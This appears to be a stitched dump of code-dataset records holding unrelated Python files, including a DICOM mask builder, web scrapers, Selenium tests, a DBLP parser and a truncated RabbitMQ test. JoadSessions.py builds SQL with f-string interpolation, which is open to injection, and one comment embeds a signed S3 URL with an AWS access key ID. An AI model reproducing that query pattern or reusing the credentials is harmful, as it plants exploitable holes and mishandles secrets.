1\n else:\n place = i + 1\n break\n if list1[j] > list1[j - 1]:\n j -= 1\n else:\n place = j\n break\nif target == list1[place]:\n ans = place\nelse:\n if place:\n if target >= list1[left]:\n right = place - 1\n elif list1[place] <= target:\n left = place\n while left <= right:\n mid = (left + right) // 2\n if list1[mid] == target:\n ans = mid\n break\n elif target > list1[mid]:\n left = mid + 1\n else:\n right = mid\nif ans == -1 and target != 3:\n print(list1)\n print(target)\nprint(ans)","sub_path":"Code/CodeRecords/2449/60692/278830.py","file_name":"278830.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"302461592","text":"from dicom_to_cnn.model.reader.Series import Series\nfrom dicom_to_cnn.model.reader.Instance_RTSS import Instance_RTSS\nimport cv2 as cv2\nimport numpy as np \n\nclass MaskBuilder_RTSS : \n \"\"\"a class to build an ndarray mask from a RTSS File \n \"\"\"\n\n def __init__(self, rtss_path:str, serie_path:str):\n \"\"\"constructor\n\n Args:\n rtss_path (str): [file path of RTSTRUCT dicom file]\n serie_path (str): [directory path of associated serie]\n \"\"\"\n\n self.serie = Series(serie_path)\n self.serie.get_instances_ordered()\n self.serie_data = self.serie.get_series_details()\n self.instance_uid_serie = self.serie.get_all_SOPInstanceIUD()\n self.matrix_size = self.serie.get_size_matrix() #[x,y,z] from associated serie\n self.instances = self.serie.get_instances_ordered()\n self.image_position = self.instances[0].get_image_position()\n self.pixel_spacing = self.instances[0].get_pixel_spacing()\n self.pixel_spacing.append(self.serie.get_z_spacing())\n\n self.rtss = Instance_RTSS(rtss_path)\n self.number_of_roi = self.rtss.get_number_of_roi()\n\n\n def is_sop_instance_uid_same(self) -> bool:\n \"\"\"check if every SOPInstanceUID from RTSTRUCT correspond to SOPINstanceUID from associated serie\n\n Returns:\n [bool]: [description]\n \"\"\"\n uid_rtss = self.rtss.get_list_all_SOP_Instance_UID_RTSS()\n for uid in uid_rtss : \n if uid not in self.instance_uid_serie : \n return False\n\n return True\n\n def __spatial_to_pixels(self, number_roi:int) -> dict:\n \"\"\"Transform spatial contour data to matrix coordonate contour\n\n Arguments :\n number_roi [(int)]: [a ROI number, start at 1]\n\n Returns:\n [dict] -- [{(roi)1 : { x : []\n y : []\n z : []} , \n {(roi)2 : { x : []\n y : []\n z : []} , ...]\n \"\"\"\n \n list_contour_data = self.rtss.get_contour_data(number_roi) #x y z en mm \n list_pixels = {}\n for i in range(3):\n self.image_position[i] = float(self.image_position[i])\n\n for contour_data in (list_contour_data):\n number_item = list_contour_data.index(contour_data) #0 1 2 3 ...\n contour_item = {}\n x = contour_data[::3] #list\n x = [int(round((i - self.image_position[0]) / self.pixel_spacing[0] )) for i in x ] \n contour_item['x'] = x\n y = contour_data[1::3] #list\n y = [int(round((i - self.image_position[1]) / self.pixel_spacing[1] )) for i in y ]\n contour_item['y'] = y\n z = contour_data[2::3]\n z = [int(round((i - self.image_position[2]) / abs(self.pixel_spacing[2]) )) for i in z ][0]\n contour_item['z'] = z\n list_pixels[number_item + 1] = contour_item\n return list_pixels\n\n def get_list_points(self, number_roi:int) -> list:\n \"\"\"transform a list of pixels of a ROI to a list nx2 (n points, coordonate (x,y)) for each contour and list of corresponding z slices\n\n Arguments:\n number_roi ([int]): [a ROI number, start at 1]\n \n\n Returns:\n [list] -- list of (x,y) points and list of corresponding z slices (in which there is a contour)\n \"\"\"\n pixels = self.__spatial_to_pixels(number_roi) #dict \n number_item = len(pixels)\n list_points = []\n slice = []\n for item in range(number_item):\n subliste = []\n list_x = (pixels[item + 1]['x'])\n list_y = (pixels[item + 1]['y'])\n for x,y in zip(list_x, list_y):\n subliste.append([x,y])\n\n list_points.append(subliste)\n\n slice.append(pixels[item + 1]['z'])\n return list_points, slice \n \n\n def rtss_to_3D_mask(self, number_roi:int, matrix_size:list) -> np.ndarray:\n \"\"\"method to generate 3D segmentation mask per ROI number\n\n Args:\n number_roi (int): [a ROI number, start at 1]\n matrix_size (list): [[shape x, shape y, shape z]]\n\n Raises:\n Exception: [raise Exception if one contour is not CLOSED_PLANAR ]\n\n Returns:\n [ndarray]: [return 3d ndarray of a ROI]\n \"\"\"\n number_of_slices = matrix_size[2]\n np_array_3D = np.zeros(( matrix_size[0], matrix_size[1], number_of_slices)).astype(np.uint8)\n if self.rtss.is_closed_planar(number_roi) == False : raise Exception (\"Not CLOSED_PLANAR contour\")\n liste_points, slice = self.get_list_points(number_roi)\n for item in range(len(slice)):\n np_array_3D[:,:,slice[item]] = cv2.drawContours(np.float32(np_array_3D[:,:,slice[item]]), [np.asarray(liste_points[item])], -1, number_roi , -1)\n return np_array_3D.astype(np.uint8)\n\n\n def rtss_to_4D_mask(self) -> np.ndarray:\n \"\"\"method to generate 3d ndarray for each ROI, and stack them in a 4D ndarray\n\n Returns:\n [ndarray]: [return 4d ndarray of mask segmentation]\n \"\"\"\n matrix_size = self.matrix_size\n np_array_3D = []\n for number_roi in range(1, self.number_of_roi +1):\n np_array_3D.append(self.rtss_to_3D_mask(number_roi, matrix_size))\n np_array_4D = np.stack((np_array_3D), axis = 3)\n return np_array_4D.astype(np.uint8)","sub_path":"dicom_to_cnn/model/segmentation/MaskBuilder_RTSS.py","file_name":"MaskBuilder_RTSS.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"449627631","text":"from lxml import etree\nimport requests\nfrom queue import Queue\nimport json\nimport threading\nfrom fake_useragent import UserAgent\n# https://www.jianshu.com/p/74bce9140934\n\nuser_agent = UserAgent(verify_ssl=False)\n\nclass CrawlThread(threading.Thread):\n # 定义爬虫类\n def __init__(self, thread_id, queue):\n threading.Thread.__init__(self)\n # self.thread_id 给每个进程添加一个标识,类似于名字\n self.thread_id = thread_id\n self.queue = queue\n self.headers = {\n \"User-Agent\": user_agent.random\n }\n\n def run(self):\n print(f\"启动线程:{self.thread_id}\")\n self.scheduler()\n print(f\"关闭线程:{self.thread_id}\")\n\n # 定义爬虫类内的爬虫方法\n def scheduler(self):\n # self.queue.empty()判断队列是否为空,为空则返回true\n while not self.queue.empty():\n # 获取网页的队列,需要通过get()方法获取,队列内存储的是页码\n # Queue.get([block[, timeout]]):获取队列中的一条消息,然后将其从列队中移除,block默认值为True;\n # 1)如果block使用默认值,且没有设置timeout(单位秒),消息列队如果为空,此时程序将被阻塞(停在读取状态),直到从消息列队读到消息为止,如果设置了timeout,则会等待timeout秒,若还没读取到任何消息,则抛出\"Queue.Empty\"异常;\n # 2)如果block值为False,消息列队如果为空,则会立刻抛出\"Queue.Empty\"异常;\n page = self.queue.get()\n print(f\"下载线程:{self.thread_id}, 下载页面:{page}\")\n url = f\"https://movie.douban.com/top250?start={page * 25}\"\n try:\n response = requests.get(url, headers=self.headers)\n # 判断请求豆瓣页面是否正常\n if response.status_code == 200:\n # 每次请求豆瓣页面的返回数据存储进dataQueue队列内\n dataQueue.put(response.text)\n else:\n continue\n except Exception as err:\n print(f\"下载文件出现异常:{err}\")\n\nclass ParserThread(threading.Thread):\n def __init__(self, thread_id, queue, file):\n threading.Thread.__init__(self)\n self.thread_id = thread_id\n self.queue = queue\n self.file = file\n\n def run(self):\n print(f\"启动线程:{self.thread_id}\")\n # flag变量在运行run方法前设置变量为true\n # while flag:\n # try:\n # self.queue.qseiz()\n # item = self.queue.get(False)\n # if not item:\n # continue\n # self.parse_data(item)\n # self.queue.task_done()\n # except Exception as err:\n # pass\n while not self.queue.empty():\n try:\n print(\"队列不为空\")\n item = self.queue.get(False)\n self.parse_data(item)\n self.queue.task_done()\n except Exception as err:\n pass\n print(f\"结束线程:{self.thread_id}\")\n\n def parse_data(self, item):\n try:\n html = etree.HTML(item)\n books = html.xpath('//div[@class=\"hd\"]')\n for book in books:\n try:\n title = book.xpath('./a/text()')\n link = book.xpath('./a/@href')\n response = {\n 'title': title,\n 'link': link\n }\n # print(response)\n json.dump(response, fp=self.file, ensure_ascii=False)\n except Exception as err:\n print(f'book error:{err}')\n except Exception as err:\n print(f'page error:{err}')\n\nif __name__ == \"__main__\":\n # 定义存放网页的任务队列\n pageQueue = Queue(20)\n for page in range(0, 5):\n # 获取豆瓣数据需要循环10次\n pageQueue.put(page)\n # 定义存放解析数据的任务队列\n dataQueue = Queue()\n\n # 爬虫线程\n crawl_threads = []\n crawl_name_list = ['crawl01', 'crawl02', 'crawl03']\n for thread_id in crawl_name_list:\n thread = CrawlThread(thread_id=thread_id, queue=pageQueue)\n thread.start()\n crawl_threads.append(thread)\n print(crawl_threads)\n\n\n\n with open('book.json', 'a', encoding='utf-8') as pipeline_f:\n # 存放即将创建的进程\n parse_thread = []\n # 创建解析网页数据的进程名称列表\n parser_name_list = ['parse_01', 'parse_02', 'parse_03']\n import time\n time.sleep(3)\n flag = True\n for thread_id in parser_name_list:\n thread = ParserThread(thread_id, dataQueue, pipeline_f)\n thread.start()\n parse_thread.append(thread)\n for crawl in crawl_threads:\n crawl.join()\n flag = False\n for t in parse_thread:\n t.join()\n\n print(\"退出主进程!\")\n\n\n\n","sub_path":"week02/miniScrapy.py","file_name":"miniScrapy.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"178748787","text":"# -*- coding: utf-8 -*-\n__author__ = u'lucas simon'\n\nu\"\"\"\nlista de exercicios 01\n\nUrl: https://pingmind-private.s3.amazonaws.com/exercises/attachments/Lista_de_Exerc%C3%ADcios_I_Python_para_Zumbis.pdf?Signature=m20t0GoOXGi3SuVG8WujkY6YJUA%3D&Expires=1380467241&AWSAccessKeyId=AKIAIEIV5JA2YZL4TUJA\n\nEnunciado:\nEscreva um programa que pergunte a quantidade de km percorridos por um carro\nalugado pelo usuário, assim como a quantidade de dias pelos quais o carro\nfoi alugado. Calcule o preço a pagar, sabendo que o carro custa R$ 60,00\npor dia e R$ 0,15 por km rodado.\n\"\"\"\n\nCARRO_DIA = 60.00\nKM_RODADO = 0.15\n\nquilometros_percorridos = float(input(u'Informe os quilometros percorridos:\\n>'))\ndias_alugados = int(input(u'Informe a quantidade de dias alugados:\\n>'))\n\ntotal = (dias_alugados * CARRO_DIA) + (quilometros_percorridos * KM_RODADO)\n\nprint(\n u'O valor total %.2f'\n % (total)\n)\n","sub_path":"python-para-zumbis/comecando_com_basico/exercicio01_lucassimon_09.py","file_name":"exercicio01_lucassimon_09.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"424328242","text":"\"\"\"\nThis spider is a RandstadBE spider created on top of the ATSSpider\nscrapy crawl randstad_be -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://www.randstad.be/en/employees/work/jobs?\"\n\nsample url:\nhttps://www.randstad.be/en/employees/work/jobs?\n\"\"\"\n\nfrom re import compile\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString, ShrinkURL\n\n\nclass RandstadBE(ATSSpider):\n\n name = \"randstad_be\"\n job_count_re = compile(r\"\\d+\\)\")\n ref_re = compile(r\"\\/(\\d+)\\/\")\n logo_url = ''\n\n def parse(self, response):\n sel = Selector(response)\n if not self.expected_job_count_set:\n job_count = sel.xpath(\n '//h1[@class=\"h1-map-title-overide\"]/span/text()'\n ).re(self.job_count_re)\n if job_count:\n self.expected_job_count = job_count\n\n logo_url = sel.xpath('//a[@class=\"randstadlogo\"]/img/@src').extract()\n if logo_url:\n self.logo_url = urljoin(response.url, logo_url[0])\n\n jobs = sel.xpath('//div[@id=\"randstad-job\"]')\n for job in jobs:\n job_url = job.xpath('./div/h2/a/@href').extract()\n if job_url:\n job_url = urljoin(response.url, job_url[0])\n meta = {\n 'title': job.xpath('./div/h2/a/text()').extract(),\n 'date': job.xpath(\n './div[@class=\"randstad-job-date\"]/p/text()'\n ).extract(),\n }\n yield Request(\n job_url, callback=self.parse_job_callback(), meta=meta\n )\n\n next_url = sel.xpath('//a[text()=\"next\"]/@href').extract()\n if next_url:\n next_url = urljoin(response.url, next_url[0])\n yield Request(next_url, callback=self.parse)\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n loader.add_value('url', response.url, ShrinkURL(['currentpage']))\n loader.add_value('logo_url', self.logo_url)\n loader.add_value('title', response.meta.get('title'))\n loader.add_value(\n 'date', response.meta.get('date'), ConvertDateString('%d-%m-%Y')\n )\n loader.add_value(\n 'referencenumber', response.url,\n Prefix('%s-' % self.name), re=self.ref_re\n )\n\n loader.add_xpath(\n 'location', '//li[contains(@id, \"_jobLocationCity\")]/text()'\n )\n loader.add_xpath(\n 'description', '//div[@class=\"jobDetailText\"]'\n )\n loader.add_xpath(\n 'jobtype', '//dt[text()=\"Employment type\"]/following-sibling::dd[1]/text()'\n )\n loader.add_xpath(\n 'educationrequirements',\n '//dt[text()=\"Education level\"]/following-sibling::dd[1]/text()'\n )\n loader.add_xpath(\n 'jobcategory',\n '//dt[text()=\"Sector\"]/following-sibling::dd[1]/text()'\n )\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/randstad_be.py","file_name":"randstad_be.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"599123350","text":"\"\"\"\n对一个二维数组向右旋转90度\n\"\"\"\n\n\ndef round_mat(mat):\n width, height = len(mat[0]), len(mat)\n res = []\n for i in range(width):\n line = []\n for j in range(height):\n line.append(mat[j][i])\n res.append(list(reversed(line)))\n return res\n\n\nmat = [[1, 2, 3], [7, 8, 9], [4, 5, 6]]\nprint(round_mat(mat))\n\n\ndef str_to_int(s):\n res = 0\n for c in s:\n res *= 10\n res += int(c)\n return res\n\n\ndef ipv4_to_long(ipv4):\n ips = ipv4.split(\".\")\n res = 0\n for i, ip in enumerate(ips):\n # 1 2 4 8 16 32 64 128 256\n res = res << 8\n res += str_to_int(ip)\n return res\n\n\nprint(ipv4_to_long(\"0.0.127.1\"))\n","sub_path":"data/algo/round_mat.py","file_name":"round_mat.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"393808508","text":"import uuid\n\n\nclass JoadSessions:\n \"\"\"Helper class for Joad Sessions handles database interaction\"\"\"\n def __init__(self, db):\n self.db = db\n\n def list_open(self):\n \"\"\"Returns a list of open sessions\"\"\"\n s = \"SELECT * FROM `joad_sessions` WHERE `state` = 'open'\"\n return self.db.execute(s)\n\n\n def session_registration(self, mem_id, session_date, pay_status='start payment', email_code=str(uuid.uuid4())):\n \"\"\"Adds a record in the database for a registrant\"\"\"\n\n select = f\"SELECT * FROM joad_session_registration where `mem_id` = '{mem_id}' \" \\\n f\"AND `session_date` = '{session_date}'\"\n row = self.db.execute(select)\n if(len(row) == 0):\n s = f\"INSERT INTO joad_session_registration (mem_id, pay_status, email_code, session_date) \" \\\n f\"VALUES ('{mem_id}', '{pay_status}', '{email_code}', '{session_date}')\"\n self.db.execute(s)\n row = self.db.execute(select)[0]\n else:\n row = row[0]\n return row\n\n\n def update_registration(self, mem_id, status, email_code, session):\n \"\"\"Updates a database registrant\"\"\"\n s = f\"UPDATE joad_session_registration SET `pay_status` = '{status}', `email_code` = %s WHERE \" \\\n f\"`mem_id` = {mem_id} AND `session_date` = '{session}'\"\n self.db.execute(s, args=(email_code,))\n\n def update_status_by_paycode(self, status, email_code):\n \"\"\"Updates a database registrant\"\"\"\n s = f\"UPDATE joad_session_registration SET `pay_status` = '{status}', `email_code` = %s WHERE \" \\\n f\"`email_code` = %s\"\n self.db.execute(s, args=(None, email_code))\n","sub_path":"src/JoadSessions.py","file_name":"JoadSessions.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"311181320","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom selenium import webdriver\nimport os\n\nPATH = lambda p: os.path.abspath(\n os.path.join(os.path.dirname(__file__), p)\n)\n\n\"\"\"\n本地运行用例\n\"\"\"\n\nclass MyTestCase(unittest.TestCase):\n\n def setUp(self):\n chromedriver = PATH(\"exe/chromedriver.exe\")\n print(chromedriver)\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n self.driver = webdriver.Chrome(chromedriver)\n self.driver.maximize_window()\n\n def test_something(self):\n self.driver.get(\"https://www.baidu.com\")\n print(self.driver.title)\n\n self.assertEqual(self.driver.name, \"chrome\")\n\n def test_search_button(self):\n self.driver.get(\"https://www.baidu.com\")\n self.driver.find_element_by_id(\"kw\").send_keys(\"zalenium\")\n self.driver.find_element_by_id(\"su\").click()\n print(self.driver.title)\n self.assertTrue(self.driver.find_element_by_id(\"su\").is_displayed())\n\n def tearDown(self):\n self.driver.quit()\n\n\ndef run():\n suite1 = unittest.TestLoader().loadTestsFromTestCase(MyTestCase)\n suite = unittest.TestSuite([suite1])\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == '__main__':\n run()","sub_path":"test0.py","file_name":"test0.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535386854","text":"# -*- coding: utf-8 -*-\n\"\"\"FAB - Confirm Export Status page\"\"\"\nimport logging\n\nfrom requests import Response, Session\n\nfrom tests import get_absolute_url\nfrom tests.functional.utils.request import Method, check_response, make_request\n\nEXPECTED_STRINGS = [\n \"Your company's previous exports\", \"Confirm company\", \"Trading status\",\n \"Have you exported before?\",\n \"Yes\", \"No\", \"I accept the\", \"Find a Buyer terms and conditions\",\n \"< Back to previous step\", \"Continue\"\n]\n\nEXPECTED_STRINGS_WO_SSO_ACCOUNT = [\n \"An account will let you:\",\n \"Create a trade profile that will be promoted to international businesses\",\n \"Apply for export opportunities sourced by UK embassies worldwide\",\n (\"To confirm that this is your company you must create a great.gov.uk \"\n \"account\")\n]\n\n\ndef should_be_here(response: Response):\n \"\"\"Check if Supplier is on Confirm Export Status page.\n\n :param response: response with Confirm Export Status page\n \"\"\"\n check_response(response, 200, body_contains=EXPECTED_STRINGS)\n logging.debug(\"Supplier is on Confirm Export Status page\")\n\n\ndef submit(session: Session, token: str, exported: bool) -> Response:\n \"\"\"Submit the Export Status form.\n\n :param session: Supplier session object\n :param token: a CSRF token required to submit the form\n :param exported: True is exported in the past, False if not\n :return: response object\n \"\"\"\n url = get_absolute_url(\"ui-buyer:register-confirm-export-status\")\n headers = {\"Referer\": url}\n data = {\n \"csrfmiddlewaretoken\": token,\n \"enrolment_view-current_step\": \"exports\",\n \"exports-has_exported_before\": exported,\n \"exports-terms_agreed\": \"on\"\n }\n\n response = make_request(\n Method.POST, url, session=session, headers=headers, data=data)\n\n return response\n\n\ndef should_see_info_about_sso_account(response: Response):\n \"\"\"Check if Supplier is on Confirm Export Status page & info about\n SSO/great.gov.uk account is displayed.\n\n NOTE:\n This requires Supplier not to have a SSO account.\n\n :param response: response with Confirm Export Status page\n \"\"\"\n expected = EXPECTED_STRINGS + EXPECTED_STRINGS_WO_SSO_ACCOUNT\n check_response(response, 200, body_contains=expected)\n logging.debug(\"Supplier is on Confirm Export Status page\")\n","sub_path":"tests/functional/pages/fab_ui_confirm_export_status.py","file_name":"fab_ui_confirm_export_status.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"260581735","text":"import pyglet\n\ndef center_image(image):\n\t#Set the image's anchor points to the center\n\timage.anchor_x = image.width/2\n\timage.anchor_y = image.height/2\n\npyglet.resource.path = ['./assets']\npyglet.resource.reindex()\n\nplayer_image = pyglet.resource.image(\"player.png\")\ncenter_image(player_image)\n\n#Load flame to be attached to the player\nengine_image = pyglet.resource.image(\"engine_flame.png\")\n#draw it behind the player\nengine_image.anchor_x = engine_image.width * 1.5\nengine_image.anchor_y = engine_image.height / 2\n","sub_path":"atlas/Character/Resources.py","file_name":"Resources.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"640315641","text":"import sys\nfrom lxml import etree\n\nwith open( \"venues.txt\", \"r\", encoding = \"utf-8\" ) as f:\n\tVENUES = f.read().splitlines()\n#end with\nwith open( \"venuesb.txt\", \"r\", encoding = \"utf-8\" ) as f:\n\tBROAD_VENUES = f.read().splitlines()\n#end with\nwith open( \"keywords.txt\", \"r\", encoding = \"utf-8\" ) as f:\n\tKEYWORDS = f.read().splitlines()\n#end with\n\nCSV_SEP = ';'\nPATH_TO_XML = \"./dblp.xml\"\nCATEGORIES = set(\n\t[\"article\", \"inproceedings\", \"proceedings\", \"book\", \"incollection\", \"phdthesis\", \"mastersthesis\", \"www\"]\n)\nSKIP_CATEGORIES = set([\"phdthesis\", \"mastersthesis\", \"www\"])\nDATA_ITEMS = [\"title\", \"booktitle\", \"year\", \"journal\", \"ee\"]#, \"volume\"]\n\ndef clear_element(element):\n\telement.clear()\n\twhile element.getprevious() is not None:\n\t\tdel element.getparent()[0]\n\t#end while\n#end clearn_element\n\ndef extract_paper_elements( iter_parser, log_file = sys.stderr ):\n\ttry:\n\t\tfor event, element in iter_parser:\n\t\t\tif element.tag in CATEGORIES:\n\t\t\t\tyield element\n\t\t\t\tclear_element( element )\n\t\t\t#end if\n\t\t#end for\n\texcept etree.XMLSyntaxError as e:\n\t\tprint( e )\n\t#end try\n#end extract_paper_elements\n\ndef write_header(csv_file,end='\\n'):\n\tcsv_file.write( \"dblpkey{CS}tag{CS}mdate\".format( CS = CSV_SEP ) )\n\tfor data_item in DATA_ITEMS:\n\t\tcsv_file.write( \"{CS}{}\".format( data_item, CS = CSV_SEP ) )\n\tcsv_file.write( end )\n#end write_header\n\ndef write_entry(paper,csv_file,end='\\n'):\n\tcsv_file.write( \"{dblpkey}{CS}{tag}{CS}{mdate}\".format(\n\t\tdblpkey = paper[\"dblpkey\"],\n\t\ttag = paper[\"element\"],\n\t\tmdate = paper[\"mdate\"],\n\t\tCS = CSV_SEP)\n\t)\n\tfor data_item in DATA_ITEMS:\n\t\tif type( paper[ data_item ] ) is str:\n\t\t\titem = \"{CS}\\\"{}\\\"\".format( ''.join( c for c in paper[ data_item ] if c not in ['\"', CSV_SEP] ), CS = CSV_SEP )\n\t\telse:\n\t\t\titem = \"{CS}{}\".format( paper[ data_item ], CS = CSV_SEP )\n\t\t#end if\n\t\tcsv_file.write( item )\n\t#end for\n\tcsv_file.write( end )\n#end write_entry\n\ndef check_text(text,keywords):\n\tfor keyword in keywords:\n\t\tif keyword is not None and text is not None and keyword in text:\n\t\t\treturn True\n\t\t#end if\n\t#end for\n\treturn False\n#end check_text\n\ndef read_from_write_to( iter_parser, csv_file, log_file = sys.stderr ):\n\tfor venue in VENUES:\n\t\tif venue is None:\n\t\t\tcontinue\n\t\t#end if\n\t\tfname = ''.join( c for c in venue if c.isalnum() )\n\t\twith open( \"venues/{venue}.txt\".format( venue=fname ), \"w\", encoding = \"utf-8\" ) as f:\n\t\t\twrite_header( f, end='' )\n\t\t\tf.write( \"{FS}contains\\n\".format( FS = CSV_SEP ) )\n\t\t#end with\n\t#end for\n\tfor venue in BROAD_VENUES:\n\t\tif venue is None:\n\t\t\tcontinue\n\t\t#end if\n\t\tfname = ''.join( c for c in venue if c.isalnum() )\n\t\twith open( \"bvenues/{venue}.txt\".format( venue=fname ), \"w\", encoding = \"utf-8\" ) as f:\n\t\t\twrite_header( f, end='' )\n\t\t\tf.write( \"{FS}contains\\n\".format( FS = CSV_SEP ) )\n\t\t#end with\n\t#end for\n\t#found_confs = set()\n\t#found_books = set()\n\t#end for\n\tfor paperCounter, element in enumerate( extract_paper_elements( iter_parser ) ):\n\t\tauthors = [ author.text for author in element.findall( \"author\" ) ]\n\t\tif element.get(\"key\") is None or element.tag is None:\n\t\t\tcontinue\n\t\t#end if\n\t\tpaper = {\n\t\t\t\"element\" : element.tag,\n\t\t\t\"mdate\" : element.get(\"mdate\"),\n\t\t\t\"dblpkey\" : element.get(\"key\")\n\t\t}\n\t\tfor data_item in DATA_ITEMS:\n\t\t\tdata = element.find(data_item)\n\t\t\tif data is not None:\n\t\t\t\ttry:\n\t\t\t\t\tpaper[ data_item ] = data.text\n\t\t\t\texcept AttributeError:\n\t\t\t\t\tpaper[ data_item ] = data\n\t\t\t\t#end try\n\t\t\t\t#if data_item == \"journal\":\n\t\t\t\t#\tfound_confs.add( paper[ data_item ] )\n\t\t\t\t#elif data_item == \"booktitle\":\n\t\t\t\t#\tfound_books.add( paper[ data_item ] )\n\t\t\t\t#end if\n\t\t\telse:\n\t\t\t\tpaper[ data_item ] = \"\"\n\t\t\t#end if\n\t\t#end for\n\t\tif paper[ \"element\" ] not in SKIP_CATEGORIES:\n\t\t\tfor venue in VENUES:\n\t\t\t\tif venue is None:\n\t\t\t\t\tcontinue\n\t\t\t\t#end if\n\t\t\t\tfname = ''.join( c for c in venue if c.isalnum() )\n\t\t\t\twith open( \"venues/{venue}.txt\".format( venue=fname ), \"a\", encoding = \"utf-8\" ) as f:\n\t\t\t\t\tv = venue\n\t\t\t\t\tbt = '' if paper[\"booktitle\"] is None else paper[\"booktitle\"]\n\t\t\t\t\tj = '' if paper[\"journal\"] is None else paper[\"journal\"]\n\t\t\t\t\tif v == bt or v == j:\n\t\t\t\t\t\tcontains = check_text( paper[\"title\"], KEYWORDS )\n\t\t\t\t\t\twrite_entry( paper, f, end='')\n\t\t\t\t\t\tf.write( \"{CS}{}\\n\".format( 1 if contains else 0, CS = CSV_SEP ) )\n\t\t\t\t\t#end if\n\t\t\t#end for\n\t\t\tfor venue in BROAD_VENUES:\n\t\t\t\tif venue is None:\n\t\t\t\t\tcontinue\n\t\t\t\t#end if\n\t\t\t\tfname = ''.join( c for c in venue if c.isalnum() )\n\t\t\t\twith open( \"bvenues/{venue}.txt\".format( venue=fname ), \"a\", encoding = \"utf-8\" ) as f:\n\t\t\t\t\tv = venue\n\t\t\t\t\tbt = '' if paper[\"booktitle\"] is None else paper[\"booktitle\"]\n\t\t\t\t\tj = '' if paper[\"journal\"] is None else paper[\"journal\"]\n\t\t\t\t\tif v in bt or v in j:\n\t\t\t\t\t\tcontains = check_text( paper[\"title\"], KEYWORDS )\n\t\t\t\t\t\twrite_entry( paper, f, end='')\n\t\t\t\t\t\tf.write( \"{CS}{}\\n\".format( 1 if contains else 0, CS = CSV_SEP ) )\n\t\t\t\t\t#end if\n\t\t\t\t#end with\n\t\t\t#end for\n\t\t#end if\n\t\tprint( \"{counter}\".format( counter = paperCounter ), file=sys.stdout )\n\t#end for\n\t#with open( \"found_confs.txt\", \"w\", encoding = \"utf-8\" ) as f:\n\t#\tfor conf in found_confs:\n\t#\t\tf.write( \"{conf}\\n\".format( conf = conf ) )\n\t#\t#end for\n\t#end with\n\t#with open( \"found_books.txt\", \"w\", encoding = \"utf-8\" ) as f:\n\t#\tfor book in found_books:\n\t#\t\tf.write( \"{book}\\n\".format( book = book ) )\n\t#\t#end for\n\t#end with\n#end read_from_write_to\n\ndef main():\n\twith open( \"dblp.csv\", mode = \"w\", encoding = \"utf-8\" ) as csv_file:\n\t\titer_parser = etree.iterparse(PATH_TO_XML, dtd_validation=True, events=(\"start\", \"end\"))\n\t\tread_from_write_to(iter_parser, csv_file)\n\t#end with\n#end main\n\nif __name__ == \"__main__\":\n\tmain()\n#end main\n","sub_path":"dblp/gen_csvs.py","file_name":"gen_csvs.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"89954080","text":"# Copyright 2015 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport kombu\nfrom kombu import Connection\nimport logging\nimport time\nimport traceback\n\nimport fuel_health\nfrom fuel_health.common import ssh\nfrom fuel_health.common.utils import data_utils\nfrom fuel_health.test import BaseTestCase\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass RabbitSanityClass(BaseTestCase):\n \"\"\"TestClass contains RabbitMQ sanity checks.\"\"\"\n\n @classmethod\n def setUpClass(cls):\n cls.config = fuel_health.config.FuelConfig()\n cls._controllers = cls.config.compute.online_controllers\n cls._usr = cls.config.compute.controller_node_ssh_user\n cls._pwd = cls.config.compute.controller_node_ssh_password\n cls._key = cls.config.compute.path_to_private_key\n cls._ssh_timeout = cls.config.compute.ssh_timeout\n cls.connections = []\n cls.ids = []\n cls.queues = []\n cls.data = []\n\n def get_ssh_connection_to_controller(self, controller):\n remote = ssh.Client(host=controller,\n username=self._usr,\n password=self._pwd,\n key_filename=self._key,\n timeout=self._ssh_timeout)\n return remote\n\n def list_nodes(self):\n if not self._controllers:\n self.fail('There are no online controllers')\n remote = self.get_ssh_connection_to_controller(self._controllers[0])\n output = remote.exec_command(\"rabbitmqctl cluster_status\")\n substring_ind = output.find('{running_nodes')\n sub_end_ind = output.find('cluster_name')\n result_str = output[substring_ind: sub_end_ind]\n num_node = result_str.count(\"rabbit@\")\n return num_node\n\n def 